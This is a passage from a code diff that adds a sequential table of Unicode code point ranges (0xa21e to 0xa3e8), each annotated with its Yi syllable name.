+ [0xa21e, 0xa21e], /* YI SYLLABLE GGUOT */
+ [0xa21f, 0xa21f], /* YI SYLLABLE GGUOX */
+ [0xa220, 0xa220], /* YI SYLLABLE GGUO */
+ [0xa221, 0xa221], /* YI SYLLABLE GGUOP */
+ [0xa222, 0xa222], /* YI SYLLABLE GGOT */
+ [0xa223, 0xa223], /* YI SYLLABLE GGOX */
+ [0xa224, 0xa224], /* YI SYLLABLE GGO */
+ [0xa225, 0xa225], /* YI SYLLABLE GGOP */
+ [0xa226, 0xa226], /* YI SYLLABLE GGET */
+ [0xa227, 0xa227], /* YI SYLLABLE GGEX */
+ [0xa228, 0xa228], /* YI SYLLABLE GGE */
+ [0xa229, 0xa229], /* YI SYLLABLE GGEP */
+ [0xa22a, 0xa22a], /* YI SYLLABLE GGUT */
+ [0xa22b, 0xa22b], /* YI SYLLABLE GGUX */
+ [0xa22c, 0xa22c], /* YI SYLLABLE GGU */
+ [0xa22d, 0xa22d], /* YI SYLLABLE GGUP */
+ [0xa22e, 0xa22e], /* YI SYLLABLE GGURX */
+ [0xa22f, 0xa22f], /* YI SYLLABLE GGUR */
+ [0xa230, 0xa230], /* YI SYLLABLE MGIEX */
+ [0xa231, 0xa231], /* YI SYLLABLE MGIE */
+ [0xa232, 0xa232], /* YI SYLLABLE MGAT */
+ [0xa233, 0xa233], /* YI SYLLABLE MGAX */
+ [0xa234, 0xa234], /* YI SYLLABLE MGA */
+ [0xa235, 0xa235], /* YI SYLLABLE MGAP */
+ [0xa236, 0xa236], /* YI SYLLABLE MGUOX */
+ [0xa237, 0xa237], /* YI SYLLABLE MGUO */
+ [0xa238, 0xa238], /* YI SYLLABLE MGUOP */
+ [0xa239, 0xa239], /* YI SYLLABLE MGOT */
+ [0xa23a, 0xa23a], /* YI SYLLABLE MGOX */
+ [0xa23b, 0xa23b], /* YI SYLLABLE MGO */
+ [0xa23c, 0xa23c], /* YI SYLLABLE MGOP */
+ [0xa23d, 0xa23d], /* YI SYLLABLE MGEX */
+ [0xa23e, 0xa23e], /* YI SYLLABLE MGE */
+ [0xa23f, 0xa23f], /* YI SYLLABLE MGEP */
+ [0xa240, 0xa240], /* YI SYLLABLE MGUT */
+ [0xa241, 0xa241], /* YI SYLLABLE MGUX */
+ [0xa242, 0xa242], /* YI SYLLABLE MGU */
+ [0xa243, 0xa243], /* YI SYLLABLE MGUP */
+ [0xa244, 0xa244], /* YI SYLLABLE MGURX */
+ [0xa245, 0xa245], /* YI SYLLABLE MGUR */
+ [0xa246, 0xa246], /* YI SYLLABLE HXIT */
+ [0xa247, 0xa247], /* YI SYLLABLE HXIX */
+ [0xa248, 0xa248], /* YI SYLLABLE HXI */
+ [0xa249, 0xa249], /* YI SYLLABLE HXIP */
+ [0xa24a, 0xa24a], /* YI SYLLABLE HXIET */
+ [0xa24b, 0xa24b], /* YI SYLLABLE HXIEX */
+ [0xa24c, 0xa24c], /* YI SYLLABLE HXIE */
+ [0xa24d, 0xa24d], /* YI SYLLABLE HXIEP */
+ [0xa24e, 0xa24e], /* YI SYLLABLE HXAT */
+ [0xa24f, 0xa24f], /* YI SYLLABLE HXAX */
+ [0xa250, 0xa250], /* YI SYLLABLE HXA */
+ [0xa251, 0xa251], /* YI SYLLABLE HXAP */
+ [0xa252, 0xa252], /* YI SYLLABLE HXUOT */
+ [0xa253, 0xa253], /* YI SYLLABLE HXUOX */
+ [0xa254, 0xa254], /* YI SYLLABLE HXUO */
+ [0xa255, 0xa255], /* YI SYLLABLE HXUOP */
+ [0xa256, 0xa256], /* YI SYLLABLE HXOT */
+ [0xa257, 0xa257], /* YI SYLLABLE HXOX */
+ [0xa258, 0xa258], /* YI SYLLABLE HXO */
+ [0xa259, 0xa259], /* YI SYLLABLE HXOP */
+ [0xa25a, 0xa25a], /* YI SYLLABLE HXEX */
+ [0xa25b, 0xa25b], /* YI SYLLABLE HXE */
+ [0xa25c, 0xa25c], /* YI SYLLABLE HXEP */
+ [0xa25d, 0xa25d], /* YI SYLLABLE NGIEX */
+ [0xa25e, 0xa25e], /* YI SYLLABLE NGIE */
+ [0xa25f, 0xa25f], /* YI SYLLABLE NGIEP */
+ [0xa260, 0xa260], /* YI SYLLABLE NGAT */
+ [0xa261, 0xa261], /* YI SYLLABLE NGAX */
+ [0xa262, 0xa262], /* YI SYLLABLE NGA */
+ [0xa263, 0xa263], /* YI SYLLABLE NGAP */
+ [0xa264, 0xa264], /* YI SYLLABLE NGUOT */
+ [0xa265, 0xa265], /* YI SYLLABLE NGUOX */
+ [0xa266, 0xa266], /* YI SYLLABLE NGUO */
+ [0xa267, 0xa267], /* YI SYLLABLE NGOT */
+ [0xa268, 0xa268], /* YI SYLLABLE NGOX */
+ [0xa269, 0xa269], /* YI SYLLABLE NGO */
+ [0xa26a, 0xa26a], /* YI SYLLABLE NGOP */
+ [0xa26b, 0xa26b], /* YI SYLLABLE NGEX */
+ [0xa26c, 0xa26c], /* YI SYLLABLE NGE */
+ [0xa26d, 0xa26d], /* YI SYLLABLE NGEP */
+ [0xa26e, 0xa26e], /* YI SYLLABLE HIT */
+ [0xa26f, 0xa26f], /* YI SYLLABLE HIEX */
+ [0xa270, 0xa270], /* YI SYLLABLE HIE */
+ [0xa271, 0xa271], /* YI SYLLABLE HAT */
+ [0xa272, 0xa272], /* YI SYLLABLE HAX */
+ [0xa273, 0xa273], /* YI SYLLABLE HA */
+ [0xa274, 0xa274], /* YI SYLLABLE HAP */
+ [0xa275, 0xa275], /* YI SYLLABLE HUOT */
+ [0xa276, 0xa276], /* YI SYLLABLE HUOX */
+ [0xa277, 0xa277], /* YI SYLLABLE HUO */
+ [0xa278, 0xa278], /* YI SYLLABLE HUOP */
+ [0xa279, 0xa279], /* YI SYLLABLE HOT */
+ [0xa27a, 0xa27a], /* YI SYLLABLE HOX */
+ [0xa27b, 0xa27b], /* YI SYLLABLE HO */
+ [0xa27c, 0xa27c], /* YI SYLLABLE HOP */
+ [0xa27d, 0xa27d], /* YI SYLLABLE HEX */
+ [0xa27e, 0xa27e], /* YI SYLLABLE HE */
+ [0xa27f, 0xa27f], /* YI SYLLABLE HEP */
+ [0xa280, 0xa280], /* YI SYLLABLE WAT */
+ [0xa281, 0xa281], /* YI SYLLABLE WAX */
+ [0xa282, 0xa282], /* YI SYLLABLE WA */
+ [0xa283, 0xa283], /* YI SYLLABLE WAP */
+ [0xa284, 0xa284], /* YI SYLLABLE WUOX */
+ [0xa285, 0xa285], /* YI SYLLABLE WUO */
+ [0xa286, 0xa286], /* YI SYLLABLE WUOP */
+ [0xa287, 0xa287], /* YI SYLLABLE WOX */
+ [0xa288, 0xa288], /* YI SYLLABLE WO */
+ [0xa289, 0xa289], /* YI SYLLABLE WOP */
+ [0xa28a, 0xa28a], /* YI SYLLABLE WEX */
+ [0xa28b, 0xa28b], /* YI SYLLABLE WE */
+ [0xa28c, 0xa28c], /* YI SYLLABLE WEP */
+ [0xa28d, 0xa28d], /* YI SYLLABLE ZIT */
+ [0xa28e, 0xa28e], /* YI SYLLABLE ZIX */
+ [0xa28f, 0xa28f], /* YI SYLLABLE ZI */
+ [0xa290, 0xa290], /* YI SYLLABLE ZIP */
+ [0xa291, 0xa291], /* YI SYLLABLE ZIEX */
+ [0xa292, 0xa292], /* YI SYLLABLE ZIE */
+ [0xa293, 0xa293], /* YI SYLLABLE ZIEP */
+ [0xa294, 0xa294], /* YI SYLLABLE ZAT */
+ [0xa295, 0xa295], /* YI SYLLABLE ZAX */
+ [0xa296, 0xa296], /* YI SYLLABLE ZA */
+ [0xa297, 0xa297], /* YI SYLLABLE ZAP */
+ [0xa298, 0xa298], /* YI SYLLABLE ZUOX */
+ [0xa299, 0xa299], /* YI SYLLABLE ZUO */
+ [0xa29a, 0xa29a], /* YI SYLLABLE ZUOP */
+ [0xa29b, 0xa29b], /* YI SYLLABLE ZOT */
+ [0xa29c, 0xa29c], /* YI SYLLABLE ZOX */
+ [0xa29d, 0xa29d], /* YI SYLLABLE ZO */
+ [0xa29e, 0xa29e], /* YI SYLLABLE ZOP */
+ [0xa29f, 0xa29f], /* YI SYLLABLE ZEX */
+ [0xa2a0, 0xa2a0], /* YI SYLLABLE ZE */
+ [0xa2a1, 0xa2a1], /* YI SYLLABLE ZEP */
+ [0xa2a2, 0xa2a2], /* YI SYLLABLE ZUT */
+ [0xa2a3, 0xa2a3], /* YI SYLLABLE ZUX */
+ [0xa2a4, 0xa2a4], /* YI SYLLABLE ZU */
+ [0xa2a5, 0xa2a5], /* YI SYLLABLE ZUP */
+ [0xa2a6, 0xa2a6], /* YI SYLLABLE ZURX */
+ [0xa2a7, 0xa2a7], /* YI SYLLABLE ZUR */
+ [0xa2a8, 0xa2a8], /* YI SYLLABLE ZYT */
+ [0xa2a9, 0xa2a9], /* YI SYLLABLE ZYX */
+ [0xa2aa, 0xa2aa], /* YI SYLLABLE ZY */
+ [0xa2ab, 0xa2ab], /* YI SYLLABLE ZYP */
+ [0xa2ac, 0xa2ac], /* YI SYLLABLE ZYRX */
+ [0xa2ad, 0xa2ad], /* YI SYLLABLE ZYR */
+ [0xa2ae, 0xa2ae], /* YI SYLLABLE CIT */
+ [0xa2af, 0xa2af], /* YI SYLLABLE CIX */
+ [0xa2b0, 0xa2b0], /* YI SYLLABLE CI */
+ [0xa2b1, 0xa2b1], /* YI SYLLABLE CIP */
+ [0xa2b2, 0xa2b2], /* YI SYLLABLE CIET */
+ [0xa2b3, 0xa2b3], /* YI SYLLABLE CIEX */
+ [0xa2b4, 0xa2b4], /* YI SYLLABLE CIE */
+ [0xa2b5, 0xa2b5], /* YI SYLLABLE CIEP */
+ [0xa2b6, 0xa2b6], /* YI SYLLABLE CAT */
+ [0xa2b7, 0xa2b7], /* YI SYLLABLE CAX */
+ [0xa2b8, 0xa2b8], /* YI SYLLABLE CA */
+ [0xa2b9, 0xa2b9], /* YI SYLLABLE CAP */
+ [0xa2ba, 0xa2ba], /* YI SYLLABLE CUOX */
+ [0xa2bb, 0xa2bb], /* YI SYLLABLE CUO */
+ [0xa2bc, 0xa2bc], /* YI SYLLABLE CUOP */
+ [0xa2bd, 0xa2bd], /* YI SYLLABLE COT */
+ [0xa2be, 0xa2be], /* YI SYLLABLE COX */
+ [0xa2bf, 0xa2bf], /* YI SYLLABLE CO */
+ [0xa2c0, 0xa2c0], /* YI SYLLABLE COP */
+ [0xa2c1, 0xa2c1], /* YI SYLLABLE CEX */
+ [0xa2c2, 0xa2c2], /* YI SYLLABLE CE */
+ [0xa2c3, 0xa2c3], /* YI SYLLABLE CEP */
+ [0xa2c4, 0xa2c4], /* YI SYLLABLE CUT */
+ [0xa2c5, 0xa2c5], /* YI SYLLABLE CUX */
+ [0xa2c6, 0xa2c6], /* YI SYLLABLE CU */
+ [0xa2c7, 0xa2c7], /* YI SYLLABLE CUP */
+ [0xa2c8, 0xa2c8], /* YI SYLLABLE CURX */
+ [0xa2c9, 0xa2c9], /* YI SYLLABLE CUR */
+ [0xa2ca, 0xa2ca], /* YI SYLLABLE CYT */
+ [0xa2cb, 0xa2cb], /* YI SYLLABLE CYX */
+ [0xa2cc, 0xa2cc], /* YI SYLLABLE CY */
+ [0xa2cd, 0xa2cd], /* YI SYLLABLE CYP */
+ [0xa2ce, 0xa2ce], /* YI SYLLABLE CYRX */
+ [0xa2cf, 0xa2cf], /* YI SYLLABLE CYR */
+ [0xa2d0, 0xa2d0], /* YI SYLLABLE ZZIT */
+ [0xa2d1, 0xa2d1], /* YI SYLLABLE ZZIX */
+ [0xa2d2, 0xa2d2], /* YI SYLLABLE ZZI */
+ [0xa2d3, 0xa2d3], /* YI SYLLABLE ZZIP */
+ [0xa2d4, 0xa2d4], /* YI SYLLABLE ZZIET */
+ [0xa2d5, 0xa2d5], /* YI SYLLABLE ZZIEX */
+ [0xa2d6, 0xa2d6], /* YI SYLLABLE ZZIE */
+ [0xa2d7, 0xa2d7], /* YI SYLLABLE ZZIEP */
+ [0xa2d8, 0xa2d8], /* YI SYLLABLE ZZAT */
+ [0xa2d9, 0xa2d9], /* YI SYLLABLE ZZAX */
+ [0xa2da, 0xa2da], /* YI SYLLABLE ZZA */
+ [0xa2db, 0xa2db], /* YI SYLLABLE ZZAP */
+ [0xa2dc, 0xa2dc], /* YI SYLLABLE ZZOX */
+ [0xa2dd, 0xa2dd], /* YI SYLLABLE ZZO */
+ [0xa2de, 0xa2de], /* YI SYLLABLE ZZOP */
+ [0xa2df, 0xa2df], /* YI SYLLABLE ZZEX */
+ [0xa2e0, 0xa2e0], /* YI SYLLABLE ZZE */
+ [0xa2e1, 0xa2e1], /* YI SYLLABLE ZZEP */
+ [0xa2e2, 0xa2e2], /* YI SYLLABLE ZZUX */
+ [0xa2e3, 0xa2e3], /* YI SYLLABLE ZZU */
+ [0xa2e4, 0xa2e4], /* YI SYLLABLE ZZUP */
+ [0xa2e5, 0xa2e5], /* YI SYLLABLE ZZURX */
+ [0xa2e6, 0xa2e6], /* YI SYLLABLE ZZUR */
+ [0xa2e7, 0xa2e7], /* YI SYLLABLE ZZYT */
+ [0xa2e8, 0xa2e8], /* YI SYLLABLE ZZYX */
+ [0xa2e9, 0xa2e9], /* YI SYLLABLE ZZY */
+ [0xa2ea, 0xa2ea], /* YI SYLLABLE ZZYP */
+ [0xa2eb, 0xa2eb], /* YI SYLLABLE ZZYRX */
+ [0xa2ec, 0xa2ec], /* YI SYLLABLE ZZYR */
+ [0xa2ed, 0xa2ed], /* YI SYLLABLE NZIT */
+ [0xa2ee, 0xa2ee], /* YI SYLLABLE NZIX */
+ [0xa2ef, 0xa2ef], /* YI SYLLABLE NZI */
+ [0xa2f0, 0xa2f0], /* YI SYLLABLE NZIP */
+ [0xa2f1, 0xa2f1], /* YI SYLLABLE NZIEX */
+ [0xa2f2, 0xa2f2], /* YI SYLLABLE NZIE */
+ [0xa2f3, 0xa2f3], /* YI SYLLABLE NZIEP */
+ [0xa2f4, 0xa2f4], /* YI SYLLABLE NZAT */
+ [0xa2f5, 0xa2f5], /* YI SYLLABLE NZAX */
+ [0xa2f6, 0xa2f6], /* YI SYLLABLE NZA */
+ [0xa2f7, 0xa2f7], /* YI SYLLABLE NZAP */
+ [0xa2f8, 0xa2f8], /* YI SYLLABLE NZUOX */
+ [0xa2f9, 0xa2f9], /* YI SYLLABLE NZUO */
+ [0xa2fa, 0xa2fa], /* YI SYLLABLE NZOX */
+ [0xa2fb, 0xa2fb], /* YI SYLLABLE NZOP */
+ [0xa2fc, 0xa2fc], /* YI SYLLABLE NZEX */
+ [0xa2fd, 0xa2fd], /* YI SYLLABLE NZE */
+ [0xa2fe, 0xa2fe], /* YI SYLLABLE NZUX */
+ [0xa2ff, 0xa2ff], /* YI SYLLABLE NZU */
+ [0xa300, 0xa300], /* YI SYLLABLE NZUP */
+ [0xa301, 0xa301], /* YI SYLLABLE NZURX */
+ [0xa302, 0xa302], /* YI SYLLABLE NZUR */
+ [0xa303, 0xa303], /* YI SYLLABLE NZYT */
+ [0xa304, 0xa304], /* YI SYLLABLE NZYX */
+ [0xa305, 0xa305], /* YI SYLLABLE NZY */
+ [0xa306, 0xa306], /* YI SYLLABLE NZYP */
+ [0xa307, 0xa307], /* YI SYLLABLE NZYRX */
+ [0xa308, 0xa308], /* YI SYLLABLE NZYR */
+ [0xa309, 0xa309], /* YI SYLLABLE SIT */
+ [0xa30a, 0xa30a], /* YI SYLLABLE SIX */
+ [0xa30b, 0xa30b], /* YI SYLLABLE SI */
+ [0xa30c, 0xa30c], /* YI SYLLABLE SIP */
+ [0xa30d, 0xa30d], /* YI SYLLABLE SIEX */
+ [0xa30e, 0xa30e], /* YI SYLLABLE SIE */
+ [0xa30f, 0xa30f], /* YI SYLLABLE SIEP */
+ [0xa310, 0xa310], /* YI SYLLABLE SAT */
+ [0xa311, 0xa311], /* YI SYLLABLE SAX */
+ [0xa312, 0xa312], /* YI SYLLABLE SA */
+ [0xa313, 0xa313], /* YI SYLLABLE SAP */
+ [0xa314, 0xa314], /* YI SYLLABLE SUOX */
+ [0xa315, 0xa315], /* YI SYLLABLE SUO */
+ [0xa316, 0xa316], /* YI SYLLABLE SUOP */
+ [0xa317, 0xa317], /* YI SYLLABLE SOT */
+ [0xa318, 0xa318], /* YI SYLLABLE SOX */
+ [0xa319, 0xa319], /* YI SYLLABLE SO */
+ [0xa31a, 0xa31a], /* YI SYLLABLE SOP */
+ [0xa31b, 0xa31b], /* YI SYLLABLE SEX */
+ [0xa31c, 0xa31c], /* YI SYLLABLE SE */
+ [0xa31d, 0xa31d], /* YI SYLLABLE SEP */
+ [0xa31e, 0xa31e], /* YI SYLLABLE SUT */
+ [0xa31f, 0xa31f], /* YI SYLLABLE SUX */
+ [0xa320, 0xa320], /* YI SYLLABLE SU */
+ [0xa321, 0xa321], /* YI SYLLABLE SUP */
+ [0xa322, 0xa322], /* YI SYLLABLE SURX */
+ [0xa323, 0xa323], /* YI SYLLABLE SUR */
+ [0xa324, 0xa324], /* YI SYLLABLE SYT */
+ [0xa325, 0xa325], /* YI SYLLABLE SYX */
+ [0xa326, 0xa326], /* YI SYLLABLE SY */
+ [0xa327, 0xa327], /* YI SYLLABLE SYP */
+ [0xa328, 0xa328], /* YI SYLLABLE SYRX */
+ [0xa329, 0xa329], /* YI SYLLABLE SYR */
+ [0xa32a, 0xa32a], /* YI SYLLABLE SSIT */
+ [0xa32b, 0xa32b], /* YI SYLLABLE SSIX */
+ [0xa32c, 0xa32c], /* YI SYLLABLE SSI */
+ [0xa32d, 0xa32d], /* YI SYLLABLE SSIP */
+ [0xa32e, 0xa32e], /* YI SYLLABLE SSIEX */
+ [0xa32f, 0xa32f], /* YI SYLLABLE SSIE */
+ [0xa330, 0xa330], /* YI SYLLABLE SSIEP */
+ [0xa331, 0xa331], /* YI SYLLABLE SSAT */
+ [0xa332, 0xa332], /* YI SYLLABLE SSAX */
+ [0xa333, 0xa333], /* YI SYLLABLE SSA */
+ [0xa334, 0xa334], /* YI SYLLABLE SSAP */
+ [0xa335, 0xa335], /* YI SYLLABLE SSOT */
+ [0xa336, 0xa336], /* YI SYLLABLE SSOX */
+ [0xa337, 0xa337], /* YI SYLLABLE SSO */
+ [0xa338, 0xa338], /* YI SYLLABLE SSOP */
+ [0xa339, 0xa339], /* YI SYLLABLE SSEX */
+ [0xa33a, 0xa33a], /* YI SYLLABLE SSE */
+ [0xa33b, 0xa33b], /* YI SYLLABLE SSEP */
+ [0xa33c, 0xa33c], /* YI SYLLABLE SSUT */
+ [0xa33d, 0xa33d], /* YI SYLLABLE SSUX */
+ [0xa33e, 0xa33e], /* YI SYLLABLE SSU */
+ [0xa33f, 0xa33f], /* YI SYLLABLE SSUP */
+ [0xa340, 0xa340], /* YI SYLLABLE SSYT */
+ [0xa341, 0xa341], /* YI SYLLABLE SSYX */
+ [0xa342, 0xa342], /* YI SYLLABLE SSY */
+ [0xa343, 0xa343], /* YI SYLLABLE SSYP */
+ [0xa344, 0xa344], /* YI SYLLABLE SSYRX */
+ [0xa345, 0xa345], /* YI SYLLABLE SSYR */
+ [0xa346, 0xa346], /* YI SYLLABLE ZHAT */
+ [0xa347, 0xa347], /* YI SYLLABLE ZHAX */
+ [0xa348, 0xa348], /* YI SYLLABLE ZHA */
+ [0xa349, 0xa349], /* YI SYLLABLE ZHAP */
+ [0xa34a, 0xa34a], /* YI SYLLABLE ZHUOX */
+ [0xa34b, 0xa34b], /* YI SYLLABLE ZHUO */
+ [0xa34c, 0xa34c], /* YI SYLLABLE ZHUOP */
+ [0xa34d, 0xa34d], /* YI SYLLABLE ZHOT */
+ [0xa34e, 0xa34e], /* YI SYLLABLE ZHOX */
+ [0xa34f, 0xa34f], /* YI SYLLABLE ZHO */
+ [0xa350, 0xa350], /* YI SYLLABLE ZHOP */
+ [0xa351, 0xa351], /* YI SYLLABLE ZHET */
+ [0xa352, 0xa352], /* YI SYLLABLE ZHEX */
+ [0xa353, 0xa353], /* YI SYLLABLE ZHE */
+ [0xa354, 0xa354], /* YI SYLLABLE ZHEP */
+ [0xa355, 0xa355], /* YI SYLLABLE ZHUT */
+ [0xa356, 0xa356], /* YI SYLLABLE ZHUX */
+ [0xa357, 0xa357], /* YI SYLLABLE ZHU */
+ [0xa358, 0xa358], /* YI SYLLABLE ZHUP */
+ [0xa359, 0xa359], /* YI SYLLABLE ZHURX */
+ [0xa35a, 0xa35a], /* YI SYLLABLE ZHUR */
+ [0xa35b, 0xa35b], /* YI SYLLABLE ZHYT */
+ [0xa35c, 0xa35c], /* YI SYLLABLE ZHYX */
+ [0xa35d, 0xa35d], /* YI SYLLABLE ZHY */
+ [0xa35e, 0xa35e], /* YI SYLLABLE ZHYP */
+ [0xa35f, 0xa35f], /* YI SYLLABLE ZHYRX */
+ [0xa360, 0xa360], /* YI SYLLABLE ZHYR */
+ [0xa361, 0xa361], /* YI SYLLABLE CHAT */
+ [0xa362, 0xa362], /* YI SYLLABLE CHAX */
+ [0xa363, 0xa363], /* YI SYLLABLE CHA */
+ [0xa364, 0xa364], /* YI SYLLABLE CHAP */
+ [0xa365, 0xa365], /* YI SYLLABLE CHUOT */
+ [0xa366, 0xa366], /* YI SYLLABLE CHUOX */
+ [0xa367, 0xa367], /* YI SYLLABLE CHUO */
+ [0xa368, 0xa368], /* YI SYLLABLE CHUOP */
+ [0xa369, 0xa369], /* YI SYLLABLE CHOT */
+ [0xa36a, 0xa36a], /* YI SYLLABLE CHOX */
+ [0xa36b, 0xa36b], /* YI SYLLABLE CHO */
+ [0xa36c, 0xa36c], /* YI SYLLABLE CHOP */
+ [0xa36d, 0xa36d], /* YI SYLLABLE CHET */
+ [0xa36e, 0xa36e], /* YI SYLLABLE CHEX */
+ [0xa36f, 0xa36f], /* YI SYLLABLE CHE */
+ [0xa370, 0xa370], /* YI SYLLABLE CHEP */
+ [0xa371, 0xa371], /* YI SYLLABLE CHUX */
+ [0xa372, 0xa372], /* YI SYLLABLE CHU */
+ [0xa373, 0xa373], /* YI SYLLABLE CHUP */
+ [0xa374, 0xa374], /* YI SYLLABLE CHURX */
+ [0xa375, 0xa375], /* YI SYLLABLE CHUR */
+ [0xa376, 0xa376], /* YI SYLLABLE CHYT */
+ [0xa377, 0xa377], /* YI SYLLABLE CHYX */
+ [0xa378, 0xa378], /* YI SYLLABLE CHY */
+ [0xa379, 0xa379], /* YI SYLLABLE CHYP */
+ [0xa37a, 0xa37a], /* YI SYLLABLE CHYRX */
+ [0xa37b, 0xa37b], /* YI SYLLABLE CHYR */
+ [0xa37c, 0xa37c], /* YI SYLLABLE RRAX */
+ [0xa37d, 0xa37d], /* YI SYLLABLE RRA */
+ [0xa37e, 0xa37e], /* YI SYLLABLE RRUOX */
+ [0xa37f, 0xa37f], /* YI SYLLABLE RRUO */
+ [0xa380, 0xa380], /* YI SYLLABLE RROT */
+ [0xa381, 0xa381], /* YI SYLLABLE RROX */
+ [0xa382, 0xa382], /* YI SYLLABLE RRO */
+ [0xa383, 0xa383], /* YI SYLLABLE RROP */
+ [0xa384, 0xa384], /* YI SYLLABLE RRET */
+ [0xa385, 0xa385], /* YI SYLLABLE RREX */
+ [0xa386, 0xa386], /* YI SYLLABLE RRE */
+ [0xa387, 0xa387], /* YI SYLLABLE RREP */
+ [0xa388, 0xa388], /* YI SYLLABLE RRUT */
+ [0xa389, 0xa389], /* YI SYLLABLE RRUX */
+ [0xa38a, 0xa38a], /* YI SYLLABLE RRU */
+ [0xa38b, 0xa38b], /* YI SYLLABLE RRUP */
+ [0xa38c, 0xa38c], /* YI SYLLABLE RRURX */
+ [0xa38d, 0xa38d], /* YI SYLLABLE RRUR */
+ [0xa38e, 0xa38e], /* YI SYLLABLE RRYT */
+ [0xa38f, 0xa38f], /* YI SYLLABLE RRYX */
+ [0xa390, 0xa390], /* YI SYLLABLE RRY */
+ [0xa391, 0xa391], /* YI SYLLABLE RRYP */
+ [0xa392, 0xa392], /* YI SYLLABLE RRYRX */
+ [0xa393, 0xa393], /* YI SYLLABLE RRYR */
+ [0xa394, 0xa394], /* YI SYLLABLE NRAT */
+ [0xa395, 0xa395], /* YI SYLLABLE NRAX */
+ [0xa396, 0xa396], /* YI SYLLABLE NRA */
+ [0xa397, 0xa397], /* YI SYLLABLE NRAP */
+ [0xa398, 0xa398], /* YI SYLLABLE NROX */
+ [0xa399, 0xa399], /* YI SYLLABLE NRO */
+ [0xa39a, 0xa39a], /* YI SYLLABLE NROP */
+ [0xa39b, 0xa39b], /* YI SYLLABLE NRET */
+ [0xa39c, 0xa39c], /* YI SYLLABLE NREX */
+ [0xa39d, 0xa39d], /* YI SYLLABLE NRE */
+ [0xa39e, 0xa39e], /* YI SYLLABLE NREP */
+ [0xa39f, 0xa39f], /* YI SYLLABLE NRUT */
+ [0xa3a0, 0xa3a0], /* YI SYLLABLE NRUX */
+ [0xa3a1, 0xa3a1], /* YI SYLLABLE NRU */
+ [0xa3a2, 0xa3a2], /* YI SYLLABLE NRUP */
+ [0xa3a3, 0xa3a3], /* YI SYLLABLE NRURX */
+ [0xa3a4, 0xa3a4], /* YI SYLLABLE NRUR */
+ [0xa3a5, 0xa3a5], /* YI SYLLABLE NRYT */
+ [0xa3a6, 0xa3a6], /* YI SYLLABLE NRYX */
+ [0xa3a7, 0xa3a7], /* YI SYLLABLE NRY */
+ [0xa3a8, 0xa3a8], /* YI SYLLABLE NRYP */
+ [0xa3a9, 0xa3a9], /* YI SYLLABLE NRYRX */
+ [0xa3aa, 0xa3aa], /* YI SYLLABLE NRYR */
+ [0xa3ab, 0xa3ab], /* YI SYLLABLE SHAT */
+ [0xa3ac, 0xa3ac], /* YI SYLLABLE SHAX */
+ [0xa3ad, 0xa3ad], /* YI SYLLABLE SHA */
+ [0xa3ae, 0xa3ae], /* YI SYLLABLE SHAP */
+ [0xa3af, 0xa3af], /* YI SYLLABLE SHUOX */
+ [0xa3b0, 0xa3b0], /* YI SYLLABLE SHUO */
+ [0xa3b1, 0xa3b1], /* YI SYLLABLE SHUOP */
+ [0xa3b2, 0xa3b2], /* YI SYLLABLE SHOT */
+ [0xa3b3, 0xa3b3], /* YI SYLLABLE SHOX */
+ [0xa3b4, 0xa3b4], /* YI SYLLABLE SHO */
+ [0xa3b5, 0xa3b5], /* YI SYLLABLE SHOP */
+ [0xa3b6, 0xa3b6], /* YI SYLLABLE SHET */
+ [0xa3b7, 0xa3b7], /* YI SYLLABLE SHEX */
+ [0xa3b8, 0xa3b8], /* YI SYLLABLE SHE */
+ [0xa3b9, 0xa3b9], /* YI SYLLABLE SHEP */
+ [0xa3ba, 0xa3ba], /* YI SYLLABLE SHUT */
+ [0xa3bb, 0xa3bb], /* YI SYLLABLE SHUX */
+ [0xa3bc, 0xa3bc], /* YI SYLLABLE SHU */
+ [0xa3bd, 0xa3bd], /* YI SYLLABLE SHUP */
+ [0xa3be, 0xa3be], /* YI SYLLABLE SHURX */
+ [0xa3bf, 0xa3bf], /* YI SYLLABLE SHUR */
+ [0xa3c0, 0xa3c0], /* YI SYLLABLE SHYT */
+ [0xa3c1, 0xa3c1], /* YI SYLLABLE SHYX */
+ [0xa3c2, 0xa3c2], /* YI SYLLABLE SHY */
+ [0xa3c3, 0xa3c3], /* YI SYLLABLE SHYP */
+ [0xa3c4, 0xa3c4], /* YI SYLLABLE SHYRX */
+ [0xa3c5, 0xa3c5], /* YI SYLLABLE SHYR */
+ [0xa3c6, 0xa3c6], /* YI SYLLABLE RAT */
+ [0xa3c7, 0xa3c7], /* YI SYLLABLE RAX */
+ [0xa3c8, 0xa3c8], /* YI SYLLABLE RA */
+ [0xa3c9, 0xa3c9], /* YI SYLLABLE RAP */
+ [0xa3ca, 0xa3ca], /* YI SYLLABLE RUOX */
+ [0xa3cb, 0xa3cb], /* YI SYLLABLE RUO */
+ [0xa3cc, 0xa3cc], /* YI SYLLABLE RUOP */
+ [0xa3cd, 0xa3cd], /* YI SYLLABLE ROT */
+ [0xa3ce, 0xa3ce], /* YI SYLLABLE ROX */
+ [0xa3cf, 0xa3cf], /* YI SYLLABLE RO */
+ [0xa3d0, 0xa3d0], /* YI SYLLABLE ROP */
+ [0xa3d1, 0xa3d1], /* YI SYLLABLE REX */
+ [0xa3d2, 0xa3d2], /* YI SYLLABLE RE */
+ [0xa3d3, 0xa3d3], /* YI SYLLABLE REP */
+ [0xa3d4, 0xa3d4], /* YI SYLLABLE RUT */
+ [0xa3d5, 0xa3d5], /* YI SYLLABLE RUX */
+ [0xa3d6, 0xa3d6], /* YI SYLLABLE RU */
+ [0xa3d7, 0xa3d7], /* YI SYLLABLE RUP */
+ [0xa3d8, 0xa3d8], /* YI SYLLABLE RURX */
+ [0xa3d9, 0xa3d9], /* YI SYLLABLE RUR */
+ [0xa3da, 0xa3da], /* YI SYLLABLE RYT */
+ [0xa3db, 0xa3db], /* YI SYLLABLE RYX */
+ [0xa3dc, 0xa3dc], /* YI SYLLABLE RY */
+ [0xa3dd, 0xa3dd], /* YI SYLLABLE RYP */
+ [0xa3de, 0xa3de], /* YI SYLLABLE RYRX */
+ [0xa3df, 0xa3df], /* YI SYLLABLE RYR */
+ [0xa3e0, 0xa3e0], /* YI SYLLABLE JIT */
+ [0xa3e1, 0xa3e1], /* YI SYLLABLE JIX */
+ [0xa3e2, 0xa3e2], /* YI SYLLABLE JI */
+ [0xa3e3, 0xa3e3], /* YI SYLLABLE JIP */
+ [0xa3e4, 0xa3e4], /* YI SYLLABLE JIET */
+ [0xa3e5, 0xa3e5], /* YI SYLLABLE JIEX */
+ [0xa3e6, 0xa3e6], /* YI SYLLABLE JIE */
+ [0xa3e7, 0xa3e7], /* YI SYLLABLE JIEP */
+ [0xa3e8, 0xa3e8], /* YI SYLLABLE JUOT */
